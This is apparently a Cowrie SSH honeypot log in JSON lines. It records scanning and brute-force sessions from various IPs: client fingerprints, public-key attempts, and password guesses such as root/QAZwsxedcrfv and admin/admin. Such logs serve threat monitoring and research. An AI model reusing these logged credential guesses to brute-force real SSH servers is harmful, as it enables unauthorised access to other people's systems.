{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:57:09.672316Z","src_ip":"2.27.36.16","session":"5857b1ded1ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QAZwsxedcrfv","message":"login attempt [root/QAZwsxedcrfv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:57:10.053852Z","src_ip":"2.27.36.16","session":"5857b1ded1ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:57:11.156603Z","src_ip":"2.27.36.16","session":"5857b1ded1ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.156.66","src_port":25674,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebd147af7e75","protocol":"ssh","message":"New connection: 64.62.156.66:25674 (10.17.0.5:22) [session: ebd147af7e75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:57:19.308671Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\\x9f\\xa2\\xaf\u0010~\u0010\u0484?\u000e\\xe1\\xf7\\xc7\u001cGx\\xa7\bN5C\u0012\\xe3M\\xe7\\xd0\\xe8\\xc9\u0005\\xb39^\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\\x9f\\xa2\\xaf\u0010~\u0010\u0484?\u000e\\xe1\\xf7\\xc7\u001cGx\\xa7\bN5C\u0012\\xe3M\\xe7\\xd0\\xe8\\xc9\u0005\\xb39^\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:57:19.313782Z","src_ip":"64.62.156.66","session":"ebd147af7e75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:57:19.317677Z","src_ip":"64.62.156.66","session":"ebd147af7e75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.49.1.52","src_port":27318,"dst_ip":"159.203.135.109","dst_port":22,"session":"4193cbf38e14","protocol":"ssh","message":"New connection: 65.49.1.52:27318 (159.203.135.109:22) [session: 4193cbf38e14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:57:29.483938Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:57:29.488317Z","src_ip":"65.49.1.52","session":"4193cbf38e14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:57:29.491501Z","src_ip":"65.49.1.52","session":"4193cbf38e14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.181.156.205","src_port":48147,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffb6a08a8f6e","protocol":"ssh","message":"New connection: 41.181.156.205:48147 (159.203.135.109:22) [session: ffb6a08a8f6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:58:02.360658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:58:02.367772Z","src_ip":"41.181.156.205","session":"ffb6a08a8f6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:58:02.614912Z","src_ip":"41.181.156.205","session":"ffb6a08a8f6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"--","message":"login attempt [root/--] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:58:03.630247Z","src_ip":"41.181.156.205","session":"ffb6a08a8f6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:58:04.886718Z","src_ip":"41.181.156.205","session":"ffb6a08a8f6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.10.79","src_port":45722,"dst_ip":"10.17.0.5","dst_port":22,"session":"99fa041b6edb","protocol":"ssh","message":"New connection: 103.143.10.79:45722 (10.17.0.5:22) [session: 99fa041b6edb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:58:20.253344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:58:20.258609Z","src_ip":"103.143.10.79","session":"99fa041b6edb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:58:20.329919Z","src_ip":"103.143.10.79","session":"99fa041b6edb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:58:20.474586Z","src_ip":"103.143.10.79","session":"99fa041b6edb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:58:20.547349Z","src_ip":"103.143.10.79","session":"99fa041b6edb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":17082,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebd6617b56d3","protocol":"ssh","message":"New connection: 130.12.180.51:17082 (10.17.0.5:22) [session: ebd6617b56d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:58:20.712433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:58:20.717350Z","src_ip":"130.12.180.51","session":"ebd6617b56d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:58:20.803173Z","src_ip":"130.12.180.51","session":"ebd6617b56d3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:58:21.055325Z","src_ip":"130.12.180.51","session":"ebd6617b56d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:58:21.593574Z","src_ip":"130.12.180.51","session":"ebd6617b56d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.13.14.186","src_port":56126,"dst_ip":"159.203.135.109","dst_port":22,"session":"903323c60556","protocol":"ssh","message":"New connection: 106.13.14.186:56126 (159.203.135.109:22) [session: 903323c60556]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:58:22.564309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:58:22.568121Z","src_ip":"106.13.14.186","session":"903323c60556","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:58:22.815874Z","src_ip":"106.13.14.186","session":"903323c60556","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"uniform","message":"login attempt [root/uniform] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:58:24.548429Z","src_ip":"106.13.14.186","session":"903323c60556","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:58:25.796013Z","src_ip":"106.13.14.186","session":"903323c60556","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.93.102.236","src_port":47442,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4b239a33b2b","protocol":"ssh","message":"New connection: 172.93.102.236:47442 (10.17.0.5:22) [session: e4b239a33b2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:58:26.218306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:58:26.223635Z","src_ip":"172.93.102.236","session":"e4b239a33b2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:58:26.231569Z","src_ip":"172.93.102.236","session":"e4b239a33b2b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"21:36:41:e6:13:91:89:6e:50:d8:cc:e8:12:4a:a5:d6","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGdN2zgwaesG+gGYkmujY8wLueDmv6JOoRgmVj6NOl+/","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 21:36:41:e6:13:91:89:6e:50:d8:cc:e8:12:4a:a5:d6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:58:26.251683Z","src_ip":"172.93.102.236","session":"e4b239a33b2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"21:36:41:e6:13:91:89:6e:50:d8:cc:e8:12:4a:a5:d6","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGdN2zgwaesG+gGYkmujY8wLueDmv6JOoRgmVj6NOl+/","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:58:26.255492Z","src_ip":"172.93.102.236","session":"e4b239a33b2b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"24:c7:06:cc:3a:17:3b:b7:48:8e:82:44:26:f0:3a:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDa1nu8/Og3U5xjoZvahAfZ6+J9Pzg8AJRsGK4M7oVW8Y38lxXVCUG0UmpavG5C/GONFgQUKIb+AAGuoD8SNtWxIJjVnqoRvYRGDgTwZXUHXcbzUKauX0iMSCjGPkVnmUjkUSJwPh0RYHbY7MC2YrViA2H7Pj/XL8z/PUZezytnxuqStH34LWDFRrrSJTsu6PWpGpveyArMQvX1HVg4voSU0mw8kJOMClJSAdITh/HpfUZtT0x6nQ+BRj5tC28tBP+GP1FmgccnajQ7vP3QMIFzExCjLSbU/KoUcXpBlAc3K3xFJI3nLxV+IF5RDUmkE5rwgMv009akB6P08+DLGugl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 24:c7:06:cc:3a:17:3b:b7:48:8e:82:44:26:f0:3a:fe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:58:26.263012Z","src_ip":"172.93.102.236","session":"e4b239a33b2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"24:c7:06:cc:3a:17:3b:b7:48:8e:82:44:26:f0:3a:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDa1nu8/Og3U5xjoZvahAfZ6+J9Pzg8AJRsGK4M7oVW8Y38lxXVCUG0UmpavG5C/GONFgQUKIb+AAGuoD8SNtWxIJjVnqoRvYRGDgTwZXUHXcbzUKauX0iMSCjGPkVnmUjkUSJwPh0RYHbY7MC2YrViA2H7Pj/XL8z/PUZezytnxuqStH34LWDFRrrSJTsu6PWpGpveyArMQvX1HVg4voSU0mw8kJOMClJSAdITh/HpfUZtT0x6nQ+BRj5tC28tBP+GP1FmgccnajQ7vP3QMIFzExCjLSbU/KoUcXpBlAc3K3xFJI3nLxV+IF5RDUmkE5rwgMv009akB6P08+DLGugl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:58:26.266773Z","src_ip":"172.93.102.236","session":"e4b239a33b2b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ca:ed:df:bb:c8:42:93:62:20:b7:fa:b5:d0:13:a2:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD31GhoGMfenLSdkNLubCrkSYQF3+FAlyVkI/1DqY7J8DlZvt6AujeMvQ96t0wvODvOISOM3JR5JFHT/zjvRmyX9UGmbhK9lxTSabWpQd1HyMnD78w+O6NVYewv/pb07avSHsGdo9AxhTrKjq9A77f6iMRrsnd8gyPbGbrdXVLxnbD3b/WrB6X1cTvFvSgKHm/wT8HUrf4WuaHcFnGOK+H3HSCPbvCbdFFaIx1nOHZqpBKJoM3s5ma3rB3Uq+WHskKTO3ruVPVEOSPEEeTzbczMY17XyzZ4KiKV3w6+CQymOEEsZ2XjV8h6dTFs6ubcN4iJ+ou7A4amUtHXLMVzQVYNa6BkvSQHxcVGMz5pmxITrvhvy4u/Oa9hgtOrb5pjpyStBACv5Ifl6X3hZBH2kNxXexDgheGqHQdERfyD9AfrrZMWKhkycx0ODfwECJrIDOfUItCTiWaMzw22g3KN9IsWyQ6HRDCbU+VWUPUXKO2fxvjREwGxsYArWSOcVpZfPVcXOJg0qpu3Rh4HK1QxdNQQbJtBMIhmBuEdI2UdXndePlEck5zM52YWlTEsXyRo5kgbfyt+IavIoxEshR65mnGvZGby+v8cOc0isWxVPrFdXKO5CnuocQWydYckVorlEmbiHfiJDUIVQwYijloep/1+3ZAQIg/PxZHc9/NIPeX2fQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ca:ed:df:bb:c8:42:93:62:20:b7:fa:b5:d0:13:a2:99","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:58:26.274656Z","src_ip":"172.93.102.236","session":"e4b239a33b2b","protocol":"ssh"}
